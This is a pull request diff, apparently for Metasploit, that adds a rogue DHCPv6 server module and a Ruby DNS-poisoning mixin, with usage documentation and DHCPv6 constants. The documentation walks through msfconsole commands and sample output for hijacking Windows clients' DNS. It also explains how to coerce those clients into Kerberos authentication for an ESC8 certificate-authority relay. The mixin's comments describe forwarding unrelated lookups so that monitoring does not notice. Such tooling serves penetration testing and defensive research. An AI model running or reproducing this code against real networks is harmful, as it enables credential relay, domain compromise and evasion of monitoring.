Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
97 changes: 97 additions & 0 deletions documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
## Vulnerable Application

This module runs a rogue DHCPv6 server that hands the attacker to IPv6 clients
as their DNS server (the classic mitm6 primitive), together with a paired DNS
server that poisons names under a target domain to point at the attacker while
transparently forwarding every other lookup so the victim stays functional.

Windows prefers IPv6 over IPv4 and, by default, sends periodic DHCPv6 solicits.
By answering those solicits and advertising the attacker as the client's DNS
server, the module intercepts the victim's name resolution even on an IPv4-only
network. Once the victim resolves a target service through the attacker it can
be coerced into authenticating to the attacker.

Paired with a Kerberos relay target such as `auxiliary/server/relay/esc8_kerberos`,
this is the native coercion half of the Kerberos relay via DNS technique
(CVE-2026-20929), removing the dependency on external tooling such as mitm6. Set
`RELAY_CNAME` to steer the victim onto a name whose SPN the relay module will
present to the CA.

This module requires root/administrator privileges to bind the DHCPv6 port
(UDP/547) and join the DHCPv6 multicast group, and Layer 2 adjacency to the
victim.

## Verification Steps

1. Start `msfconsole` as root
1. Do: `use auxiliary/spoof/dhcp/dhcpv6_dns_takeover`
1. Set `TARGET_DOMAIN` to the domain whose names you want to intercept
1. Set `SPOOF_IP6` to the attacker's IPv6 address
1. Do: `run`
1. Observe DHCPv6 solicits being answered and in-scope DNS queries being poisoned

## Options

### TARGET_DOMAIN

The DNS domain to intercept. Names at or under this domain are poisoned; every
other lookup is transparently forwarded. Required.

### TARGET_HOSTS

An optional space or semicolon separated list of specific FQDNs to poison. When
set, only these exact names are poisoned and all other names (including other
names under `TARGET_DOMAIN`) are forwarded.

### SPOOF_IP6

The attacker's IPv6 address. It is handed to clients as their DNS server and is
returned as the `AAAA` answer for poisoned names. Required.

### RELAY_CNAME

If set, poisoned names are answered with a `CNAME` to this name instead of a
direct address. This is the DNS-CNAME trick used for Kerberos relay: the victim
follows the CNAME to a name whose SPN the relay module presents to the target,
while the Kerberos ticket is still issued for the original service.

### LEASE_IP6

An optional IPv6 address to lease to clients that make a stateful (IA_NA)
request. Not required for DNS takeover.

### DHCPV6_INTERFACE

The network interface to bind the DHCPv6 server and join the multicast group on.
Defaults to the primary interface.

## Scenarios

### mitm6-style DNS takeover feeding a Kerberos ESC8 relay

Terminal 1 - start the coercion:

```
msf > use auxiliary/spoof/dhcp/dhcpv6_dns_takeover
msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set TARGET_DOMAIN ad.example.com
msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set SPOOF_IP6 dead:beef::5
msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set RELAY_CNAME attacker.ad.example.com
msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > run
[*] DNS server started, poisoning names under ad.example.com -> CNAME attacker.ad.example.com
[*] DHCPv6 server started, advertising dead:beef::5 as the DNS server
[*] DHCPv6 SOLICIT from fe80::... answered with DNS dead:beef::5
[+] Poisoned ca.ad.example.com (AAAA) for fe80::... -> CNAME attacker.ad.example.com
```

Terminal 2 - run the Kerberos ESC8 relay so the coerced authentication is
relayed to the CA (see `auxiliary/server/relay/esc8_kerberos`).

## Notes

* Requires root/administrator and Layer 2 adjacency; DHCPv6 messages are not
routable.
* This is the DHCPv6 coercion primitive. `auxiliary/spoof/ipv6/ipv6_ra_dns_takeover`
is the Router Advertisement (RDNSS) equivalent; use whichever the target
network responds to.
* Out-of-scope lookups are forwarded unchanged, so the victim keeps working and
monitoring is less likely to notice broken name resolution.
113 changes: 113 additions & 0 deletions lib/msf/core/exploit/remote/dns/name_poisoner.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,113 @@
# -*- coding: binary -*-

module Msf

###
#
# This mixin adds selective DNS name poisoning on top of Exploit::Remote::DNS::Server.
#
# A module that also includes DNS::Server can mix this in to answer lookups for
# names under a target scope with the attacker's address (or a CNAME), while
# transparently forwarding every out-of-scope query so the victim stays
# functional. It is the shared coercion behaviour behind the IPv6 DNS-takeover
# modules (rogue DHCPv6 and rogue Router Advertisement), paired with a Kerberos
# relay target such as ESC8 AD CS web enrollment (CVE-2026-20929).
#
###
module Exploit::Remote::DNS
module NamePoisoner

def initialize(info = {})
super

register_options(
[
OptString.new('TARGET_DOMAIN', [ true, 'The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).' ]),
OptString.new('TARGET_HOSTS', [ false, 'Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.' ]),
OptString.new('SPOOF_IP6', [ true, 'The attacker IPv6 address handed out as the DNS server and returned for poisoned names.' ]),
OptString.new('RELAY_CNAME', [ false, 'If set, poisoned names are answered with a CNAME to this name (the DNS-CNAME Kerberos relay trick) instead of a direct address.' ])
], Exploit::Remote::DNS::NamePoisoner
)
end

# Poison lookups that fall under the target scope; forward everything else so
# the victim keeps working (and so we do not tip off monitoring by breaking
# unrelated name resolution).
def on_dispatch_request(cli, data)
return if data.strip.empty?

req = Rex::Proto::DNS::Packet.encode_drb(data)
peer = "#{cli.peerhost}:#{cli.peerport}"

poisoned = false
req.question.each do |question|
answers = poison_answers_for(question)
next if answers.empty?

answers.each { |rr| req.add_answer(rr) }
poisoned = true
print_good("Poisoned #{question.qname} (#{question.qtype}) for #{peer} -> #{poison_description}")
end

unless poisoned
# Not in scope: fall back to the default cache/forward behaviour.
return service.default_dispatch_request(cli, data)
end

req.header.qr = true
req.header.ra = true
service.send_response(cli, Rex::Proto::DNS::Packet.validate(req).encode)
end

# Human-readable description of what poisoned names resolve to.
def poison_description
datastore['RELAY_CNAME'].present? ? "CNAME #{datastore['RELAY_CNAME']}" : datastore['SPOOF_IP6']
end

# Fail the module unless +address+ is a valid IPv6 address.
def validate_ipv6!(address, name)
return if Rex::Socket.is_ipv6?(address.to_s)

fail_with(Msf::Module::Failure::BadConfig, "#{name} must be a valid IPv6 address")
end

private

def poison_answers_for(question)
name = question.qname.to_s.chomp('.').downcase
return [] unless in_scope?(name)

qtype = question.qtype.to_s
if datastore['RELAY_CNAME'].present?
# Steer the victim onto a name whose SPN the attacker will relay for.
return [Dnsruby::RR.create(name: "#{name}.", type: 'CNAME', domainname: "#{datastore['RELAY_CNAME'].chomp('.')}.")]
end

case qtype
when 'AAAA'
[Dnsruby::RR.create(name: "#{name}.", type: 'AAAA', address: datastore['SPOOF_IP6'])]
when 'A'
# Only answer A records if an IPv4 spoof address is meaningful; otherwise
# returning nothing lets the client prefer the AAAA answer we control.
Rex::Socket.is_ipv4?(srvhost) ? [Dnsruby::RR.create(name: "#{name}.", type: 'A', address: srvhost)] : []
else
[]
end
end

def in_scope?(name)
if datastore['TARGET_HOSTS'].present?
target_hosts.include?(name)
else
domain = datastore['TARGET_DOMAIN'].downcase.chomp('.')
name == domain || name.end_with?(".#{domain}")
end
end

def target_hosts
@target_hosts ||= datastore['TARGET_HOSTS'].split(/[\s;]+/).map { |h| h.strip.chomp('.').downcase }.reject(&:empty?)
end

end
end
end
1 change: 1 addition & 0 deletions lib/msf_autoload.rb
Original file line number Diff line number Diff line change
Expand Up @@ -292,6 +292,7 @@ def custom_inflections
'rakp2' => 'RAKP2',
'pjl' => 'PJL',
'dhcp' => 'DHCP',
'dhcpv6' => 'DHCPv6',
'addp' => 'ADDP',
'rfb' => 'RFB',
'io' => 'IO',
Expand Down
69 changes: 69 additions & 0 deletions lib/rex/proto/dhcpv6/constants.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
# -*- coding: binary -*-

module Rex
module Proto
# Constants for DHCPv6 (RFC 8415), plus the DNS configuration options from
# RFC 3646. Only the subset needed to run a rogue stateful/stateless DHCPv6
# server (to become a client's DNS server) is defined here.
module DHCPv6::Constants
# DHCPv6 message types (RFC 8415 section 7.3)
module MessageType
SOLICIT = 1
ADVERTISE = 2
REQUEST = 3
CONFIRM = 4
RENEW = 5
REBIND = 6
REPLY = 7
RELEASE = 8
DECLINE = 9
RECONFIGURE = 10
INFORMATION_REQUEST = 11
RELAY_FORW = 12
RELAY_REPL = 13
end

# DHCPv6 option codes (RFC 8415 section 21, RFC 3646 for DNS options)
module OptionCode
CLIENTID = 1
SERVERID = 2
IA_NA = 3
IA_TA = 4
IAADDR = 5
ORO = 6 # Option Request Option
PREFERENCE = 7
ELAPSED_TIME = 8
STATUS_CODE = 13
RAPID_COMMIT = 14
DNS_SERVERS = 23 # RFC 3646: DNS Recursive Name Server option
DOMAIN_LIST = 24 # RFC 3646: Domain Search List option
end

# DUID types (RFC 8415 section 11)
module DuidType
LLT = 1 # Link-layer address plus time
EN = 2 # Vendor-assigned unique ID based on Enterprise Number
LL = 3 # Link-layer address
end

# Status codes (RFC 8415 section 21.13)
module StatusCode
SUCCESS = 0
UNSPEC_FAIL = 1
NO_ADDRS_AVAIL = 2
NO_BINDING = 3
NOT_ON_LINK = 4
USE_MULTICAST = 5
end

# Hardware type for DUID-LL/LLT (IANA; 1 = Ethernet)
HARDWARE_TYPE_ETHERNET = 1

# The well-known multicast group all DHCPv6 servers and relay agents listen
# on, and the server/client UDP ports (RFC 8415 section 7.2).
ALL_DHCP_RELAY_AGENTS_AND_SERVERS = 'ff02::1:2'
SERVER_PORT = 547
CLIENT_PORT = 546
end
end
end
Loading
Loading